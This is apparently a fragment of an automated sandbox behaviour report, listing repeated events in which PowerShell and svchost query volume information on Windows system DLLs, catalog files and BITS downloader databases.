Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\temp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
